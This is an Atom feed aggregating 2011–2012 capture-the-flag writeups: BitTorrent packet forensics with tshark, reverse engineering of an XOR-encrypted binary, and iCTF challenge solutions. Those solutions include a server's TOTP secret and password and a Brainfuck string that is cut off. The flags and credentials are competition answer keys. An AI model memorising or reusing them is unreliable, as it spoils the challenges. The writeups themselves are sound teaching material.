<?xml version="1.0" encoding="utf-8" standalone="yes" ?>
<feed xmlns="http://www.w3.org/2005/Atom">

	<title>Epic Fail</title>
	<link rel="self" href="http://epicfail.cs.ucsb.edu/atom.xml"/>
	<link href="http://epicfail.cs.ucsb.edu/"/>
	<id>http://epicfail.cs.ucsb.edu/atom.xml</id>
	<updated>2012-05-16T21:05:03+00:00</updated>
	<generator uri="http://www.planetplanet.org/">Planet/2.0 +http://www.planetplanet.org</generator>

	<entry xml:lang="en">
		<title type="html">PlaidCTF 2012 Challenge Torrent – Practical Packets writeup (200 points)</title>
		<link href="http://mweissbacher.com/blog/2012/04/30/plaidctf-2012-challenge-torrent-practical-packets-writeup-200-points/?utm_source=rss&amp;utm_medium=rss&amp;utm_campaign=plaidctf-2012-challenge-torrent-practical-packets-writeup-200-points"/>
		<id>http://mweissbacher.com/blog/?p=61</id>
		<updated>2012-04-30T08:40:12+00:00</updated>
		<content type="html">&lt;p&gt;This weekend &lt;a href=&quot;http://ppp.cylab.cmu.edu/wordpress/&quot; title=&quot;PPP&quot;&gt;PPP&lt;/a&gt; organized its second &lt;a href=&quot;http://www.plaidctf.com&quot; title=&quot;PlaidCTF&quot;&gt;PlaidCTF&lt;/a&gt; which was a lot of fun. Below is a quick writeup for the bittorrent forensics challenge.&lt;/p&gt;
&lt;p&gt;Description:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;It turns out that robots, like humans, are cheap and do not like paying for their movies and music. We were able to intercept some torrent downloads but are unsure what the file being downloaded was. Can you figure it out?&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Provided was a file torrent.pcap, we used tshark (the command line tool for wireshark) to extract data from the packet capture. The only interesting data points are bittorrent.piece, from those we only need index, begin and data. By printing them in this order we can run a simple sort to make sure the file contents are in order. &lt;/p&gt;
&lt;p&gt;Next we strip everything but the data field and the colons. Finally we use translate and sed to turn the hex representation into binary. After running the below script we have a file binout.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;br /&gt;
tshark -r torrent.pcap -R 'bittorrent.piece.data and ip.dst_host == 128.237.112.101' -T fields -e bittorrent.piece.index -e bittorrent.piece.begin -e bittorrent.piece.length -e bittorrent.piece.data -E separator=+ | sort | sed -re 's!.*\+!!' | sed -re 's!:!!g' | echo -n -e $(tr -d '[:space:]' | sed 's/../\\x&amp;#038;/g') &gt; binout&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;By using the file command and consequently unpacking we figure out its a bz2-ed tar file. Inside we find the files key.mp3 and key.txt. key.txt contains &amp;#8220;t0renz0_v0n_m4tt3rh0rn&amp;#8221;, which turned out to be the valid key. We couldn&amp;#8217;t extract any hidden information from key.mp3 &lt;img src=&quot;http://mweissbacher.com/blog/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:-)&quot; class=&quot;wp-smiley&quot; /&gt; &lt;/p&gt;
&lt;p&gt;Note: if you are trying to reconstruct a file from a bittorrent pcap you might want to check for retransmits, missing indices, multiple files in one capture etc. It would make sense not to strip the headers directly with sed but keep them and run some script to analyze them.&lt;/p&gt;</content>
		<author>
			<name>Michael Weissbacher</name>
			<uri>http://mweissbacher.com/blog</uri>
		</author>
		<source>
			<title type="html">Michael Weissbacher » Security</title>
			<link rel="self" href="http://mweissbacher.com/blog/category/security/feed/"/>
			<id>http://mweissbacher.com/blog/category/security/feed/</id>
			<updated>2012-04-30T09:05:02+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Mozilla CTF 2012 - securefilelock (challenge 1) writeup</title>
		<link href="http://blog.yancomm.net/2012/01/mozilla-ctf-2012-securefilelock.html"/>
		<id>tag:blogger.com,1999:blog-5382623307780980960.post-2377347832526904652</id>
		<updated>2012-01-26T12:35:48+00:00</updated>
		<content type="html">&lt;div dir=&quot;ltr&quot;&gt;This challenge was really fun, because it required us to go back to basics. It's a 64-bit binary, so (our version of) IDA's hexrays decompiler couldn't decompile it. Additionally, to add some old-school flavor, (our version of) FLAIR choked on Debian Wheezy's 64-bit libraries, so we didn't even apply flirt sigs. The result was some fun, old-school binary reversing! It turned out not to be very difficult, but still super fun.&lt;br /&gt;&lt;br /&gt;When running the binary, it's pretty clear that it decrypts and dumps a file, then launches vlc to play it. Here's the output of a given run:&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;$ echo asdf | ./securefilelock&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Welcome to Secure File Lock&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Playing 'Ethereal Awakening' by Project Divinity (CC BY-NC-SA 2.5)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Please enter your password. (max length = 32):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Processing.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;And here it is with some strace goodness:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;$ echo asdf | ./securefilelock&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Welcome to Secure File Lock&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Playing 'Ethereal Awakening' by Project Divinity (CC BY-NC-SA 2.5)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Please enter your password. (max length = 32):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Processing.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yans@lath|~/code/security/mozilla/sfl$ echo asdf | strace ./securefilelock&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;execve(&quot;./securefilelock&quot;, [&quot;./securefilelock&quot;], [/* 40 vars */]) = 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;uname({sys=&quot;Linux&quot;, node=&quot;lath&quot;, ...}) &amp;nbsp;= 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;brk(0) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0x1028000&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;brk(0x10291a0) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0x10291a0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;arch_prctl(ARCH_SET_FS, 0x1028880) &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;brk(0x104a1a0) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0x104a1a0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;brk(0x104b000) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0x104b000&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 5), ...}) = 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f53755e8000&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;write(1, &quot;Welcome to Secure File Lock\n&quot;, 28Welcome to Secure File Lock&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;) = 28&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;write(1, &quot;Playing 'Ethereal Awakening' by &quot;..., 67Playing 'Ethereal Awakening' by Project Divinity (CC BY-NC-SA 2.5)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;) = 67&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;write(1, &quot;Please enter your password. (max&quot;..., 47Please enter your password. (max length = 32):&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;) = 47&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fstat(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f53755e7000&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;read(0, &quot;asdf\n&quot;, 4096) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = 5&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;write(1, &quot;Processing......................&quot;..., 680Processing.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;) = 680&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;getpid() &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 7048&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;open(&quot;/tmp/sf.z6GiAx&quot;, O_RDWR|O_CREAT|O_EXCL, 0600) = 3&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fcntl(3, F_GETFL) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = 0x8002 (flags O_RDWR|O_LARGEFILE)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;fstat(3, {st_mode=S_IFREG|0600, st_size=0, ...}) = 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f53755e6000&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;lseek(3, 0, SEEK_CUR) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;write(3, &quot;QT&amp;gt;+\t2\f\36v?k^iX\35\5I\302\f'\10cjnH~\ndhw\r+&quot;..., 6680576) = 6680576&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;write(3, &quot;H3,\27\230A\n\333l~'l#\205\4]NL,b\23\340PQ\365\354\212\205\246\333 \363&quot;..., 1604) = 1604&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;close(3) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;= 0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;execve(&quot;/usr/bin/vlc&quot;, [&quot;/usr/bin/vlc&quot;, &quot;--play-and-exit&quot;, &quot;/tmp/sf.z6GiAx&quot;], [/* 40 vars */]) = -1 ENOENT (No such file or directory)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;exit_group(0) &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; = ?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;We can clearly see it writing the file and calling vlc, and by looking at IDA, we can quickly see the decryption loop at&amp;nbsp;00000000004011A7:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-KyX4agnx-y0/TyG1v9oz5SI/AAAAAAABOA8/YW43rax3nDI/s1600/loop.png&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://3.bp.blogspot.com/-KyX4agnx-y0/TyG1v9oz5SI/AAAAAAABOA8/YW43rax3nDI/s1600/loop.png&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class=&quot;tr-caption&quot;&gt;decryption loop&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;It's an xor. So now we just need to figure out what the key is, and we got the challenge. That turned out to be another fun part. As you can see in the loop above, it's looping over the file_contents (the encrypted file in .data) of length file&lt;span&gt;_length (a value in .data), the value of which is&amp;nbsp;6682180. So we're looking for a&amp;nbsp;6682180-byte version of&amp;nbsp;'Ethereal Awakening' by Project Divinity. As luck would have it, googling for the name and the number produced a few results, one of which was some random torrent. We grabbed the encrypted file from memory, downloaded the torrent (file available &lt;a href=&quot;https://sites.google.com/site/zardus/files/01%20-%20Ethereal%20Awakening.mp3?attredirects=0&amp;d=1&quot;&gt;here&lt;/a&gt;), and came up with the key &quot;&lt;/span&gt;&lt;b id=&quot;internal-source-marker_0.5158891638275236&quot;&gt;&lt;span&gt;yciNhAh&quot; by xoring the encrypted file with the original. Of course, we could have just xored the header (49 44 33 03 00 00 00), but what's the fun in that?&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/5382623307780980960-2377347832526904652?l=blog.yancomm.net&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content>
		<author>
			<name>Zardus</name>
			<email>noreply@blogger.com</email>
			<uri>http://blog.yancomm.net/</uri>
		</author>
		<source>
			<title type="html">Zardus' Blog</title>
			<link rel="self" href="http://blog.yancomm.net/feeds/posts/default"/>
			<id>tag:blogger.com,1999:blog-5382623307780980960</id>
			<updated>2012-05-16T16:15:03+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">iCTF 2011: Challenges writeup</title>
		<link href="http://blog.lucainvernizzi.net/2011/12/ictf-2011-challanges-writeup.html"/>
		<id>tag:blogger.com,1999:blog-3551230072859397681.post-7558922808727791514</id>
		<updated>2011-12-24T08:18:53+00:00</updated>
		<content type="html">Hello people!&lt;br /&gt;The International Capture The Flag hacking competition &lt;a href=&quot;http://ictf.cs.ucsb.edu/&quot;&gt;iCTF&lt;/a&gt; 2011, the biggest CTF so far, is over, and it's time for writeups!&lt;br /&gt;Here's the solutions of the challenges I wrote. Hope you enjoyed them&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;span&gt;I Read It Encoded: Challenge, 50 dirty $&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;div&gt;&lt;br /&gt;I read it encoded. Can you?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Attached:&amp;nbsp;&lt;a href=&quot;http://www.lucainvernizzi.net/blog_downloads/IReadItEncoded.txt&quot;&gt;IReadItEncoded&lt;/a&gt;&lt;/div&gt;&lt;/blockquote&gt;The attachment is a base64-encoded QR code in ascii art. Print it with a really tiny monospace font, decode it and you'll have the solution.&lt;br /&gt;&lt;b&gt;Solution&lt;/b&gt;:&amp;nbsp;Xis4n00bs&lt;br /&gt;&lt;div&gt;&lt;b&gt;Teams that solved it&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;: 31/89&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;b&gt;Where Is My Cut?: Challenge, 125 dirty $&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Hey dude,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; I just found Alexey &quot;Donkey&quot; Dragunov passed out in the server room, stinkin' drunk.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Damn him... He probably freaked out for tomorrow, thinking we will never make it.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; But *we* will.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; We always do.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; I still need to &quot;do the deed&quot; with Monaco's tranche.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; I know the site to use for it is legitimatebiz.ictf2011.info, but I have no freakkin' clue on&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; what to do there.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; You're good at this stuff. Can you help me?&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; The only thing I found is the sheet of paper attached. It was sticking on the servers, sucked it&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; by the fans.&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; As always, you will *not* fail me.&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-YDmhtfW7f2o/TtrRmp1CC-I/AAAAAAAAT3g/Xp-pU6HcLwo/s1600/whereismycut.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;http://2.bp.blogspot.com/-YDmhtfW7f2o/TtrRmp1CC-I/AAAAAAAAT3g/Xp-pU6HcLwo/s320/whereismycut.jpg&quot; width=&quot;191&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Fun challenge. Loading &lt;a href=&quot;http://legitimatebiz.ictf2011.info/&quot;&gt;http://legitimatebiz.ictf2011.info&lt;/a&gt;, teams first found a simple Rails websites about duck trading. It was a red herring :)&lt;br /&gt;Later in the competition, I replaced it with the standard &quot;It Works!&quot; page of an Apache fresh install, to which I've added a single line &quot;To add content, ssh into this machine&quot;.&lt;br /&gt;Turns out people don't read the content of the &quot;It Works!&quot; page anymore (even if it's 3 lines): lots of hackers&amp;nbsp;complained&amp;nbsp;that the website was down, and were told to learn how to read :)&lt;br /&gt;&lt;br /&gt;Following the ssh route, teams &amp;nbsp;were faced with this message:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;$ ssh donkey@legitimatebiz.ictf2011.info&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Host key fingerprint is 97:c5:4a:f4:7a:c1:0c:6c:3c:78:52:73:55:ce:3a:70&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;+--[ECDSA &amp;nbsp;256]---+&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; == .....|&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;o.*O &amp;nbsp; o |&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; +..O E o|&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; . = + . |&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;S = . o &amp;nbsp;|&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; . . &amp;nbsp; . |&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;| &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; |&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;+-----------------+&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Verification code:&amp;nbsp;&lt;b class=&quot;cursor&quot;&gt;█&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This is the prompt of the&amp;nbsp;&lt;a href=&quot;http://guides.webbynode.com/articles/security/ubuntu-google-authenticator.html&quot;&gt;Google Authenticator&lt;/a&gt;&amp;nbsp;PAM module for two-factor authentication.&lt;br /&gt;&lt;br /&gt;If you didn't know that, a big hint is given by the content of the qrcode in the picture (&lt;span class=&quot;Apple-style-span&quot;&gt;otpauth://totp/donkey@ip-172-19-1-77?secret=JUSH3O2LQ3WSJKSC&lt;/span&gt;).&lt;br /&gt;Using the Google Authenticator app for Android/Iphone with the QR code, and the password in the picture (GimmieMyCut), you can log in to the server.&lt;br /&gt;The server's answer contains the solution.&lt;br /&gt;&lt;pre&gt;Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-virtual x86_64)&lt;br /&gt;[..]&lt;br /&gt;ComeOnTooEasyConnection to legitimatebiz.ictf2011.info closed.&lt;br /&gt;&lt;/pre&gt;&lt;b&gt;Solution&lt;/b&gt;:&amp;nbsp;ComeOnTooEasy&lt;br /&gt;&lt;div&gt;&lt;b&gt;Teams that solved it&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;: 22/89&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;Inferno: Challenge, 250 dirty $&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;div&gt;When I was playing around with the backdoor I deployed on Zeus' laptop,&lt;br /&gt;I found that he was very interested in this page.&lt;br /&gt;Discover why, and if it's worth something, you'll get a good cut.&lt;br /&gt;Attached:&amp;nbsp;&lt;a href=&quot;http://www.lucainvernizzi.net/blog_downloads/inferno.html&quot;&gt;inferno.html&lt;/a&gt;&lt;/div&gt;&lt;/blockquote&gt;A lot of people told me they loved this one :).&lt;br /&gt;&lt;br /&gt;The attachment looked like a geological conference website, featuring pieces of the worst html I've ever written.&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://www.lucainvernizzi.net/blog_downloads/inferno.html&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;186&quot; src=&quot;http://3.bp.blogspot.com/-YRvUy0f4vIY/TtrHnsKY5QI/AAAAAAAAT3Y/mkW4RwUQQk8/s320/RAGS.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;In the middle of that mess, an odd-looking javascript comment could be spotted:&lt;br /&gt;&lt;blockquote class=&quot;tr_bq&quot;&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;&gt;+++++++++++++++++++++++++[&amp;gt;++&amp;gt;+++&amp;gt;++++&amp;gt;+++++&amp;lt;&amp;lt;&amp;lt;&amp;lt;-]+++++++++++++++++++++++++&amp;gt;&amp;gt;&amp;gt;-----------.&amp;gt;--------------.&amp;lt;&amp;lt;&amp;lt;------.&amp;lt;+++++++.&amp;gt;&amp;gt;---------.&amp;gt;&amp;gt;----------.+++++++++.&amp;lt;&amp;lt;&amp;lt;.&amp;lt;.&amp;gt;&amp;gt;&amp;gt;&amp;gt;------.---.+++++++++++++.&amp;lt;++++++++++++.&amp;lt;&amp;lt;-----.&amp;gt;&amp;gt;&amp;gt;+.&amp;lt;&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;&amp;gt;++++++.&amp;lt;++++++++++.&amp;gt;----.&amp;lt;+++.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;---------------.&amp;gt;.-.&amp;lt;&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;+++.&amp;gt;-----.+++.&amp;lt;&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;&amp;gt;++.&amp;lt;++.---.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;-----------.&amp;gt;-----------.++++..--------.+++++++++++++.-----.&amp;lt;+++++++.&amp;gt;+..&amp;lt;&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;&amp;gt;----.+++++.&amp;lt;+.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;&amp;gt;------.+++++.&amp;lt;&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;+++++++++++++++.&amp;gt;&amp;gt;+++++++.&amp;lt;-.&amp;gt;-------.++++++.&amp;lt;++++++++.------.&amp;gt;-----.&amp;lt;&amp;lt;&amp;lt;+++++++.&amp;lt;..&amp;gt;&amp;gt;--------.&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;&amp;gt;----.+++.+.++++++++.&amp;lt;&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;&amp;gt;--------.-.--.+++++++++++++.&amp;lt;&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;&amp;gt;.----------.++++++.&amp;lt;&amp;lt;&amp;lt;&amp;lt;----------------------.&amp;gt;&amp;gt;&amp;gt;.--.&amp;gt;-------.&amp;lt;&amp;lt;&amp;lt;--------------.&amp;gt;&amp;gt;+++.+.--.&amp;gt;+.&amp;lt;+.+.&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;--.&amp;lt;.&amp;gt;++++++..&amp;lt;----.++++++.--.&amp;gt;.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;.&amp;lt;.&amp;gt;-----.++++++.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;+.&amp;gt;--.---.--.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;+++++++.&amp;lt;++.---.&amp;lt;&amp;lt;.&amp;gt;&amp;gt;--.++++++.&amp;gt;--.&amp;lt;------.&amp;gt;------.&amp;lt;++.&amp;gt;+++++++.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;----.&amp;lt;+.&amp;lt;&amp;lt;.&amp;gt;&amp;gt;++.---.&amp;gt;---..&amp;lt;&amp;lt;&amp;lt;++++++++++++.------------.&amp;gt;&amp;gt;&amp;gt;+++++++.----.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;-.&amp;gt;.-.&amp;lt;&amp;lt;&amp;lt;+++++++.&amp;gt;&amp;gt;&amp;gt;++++++.&amp;lt;&amp;lt;&amp;lt;-------.&amp;gt;&amp;gt;&amp;gt;.--.+++++++.&amp;lt;&amp;lt;&amp;lt;.&amp;gt;&amp;gt;&amp;gt;-----.-----.&amp;lt;&amp;lt;&amp;lt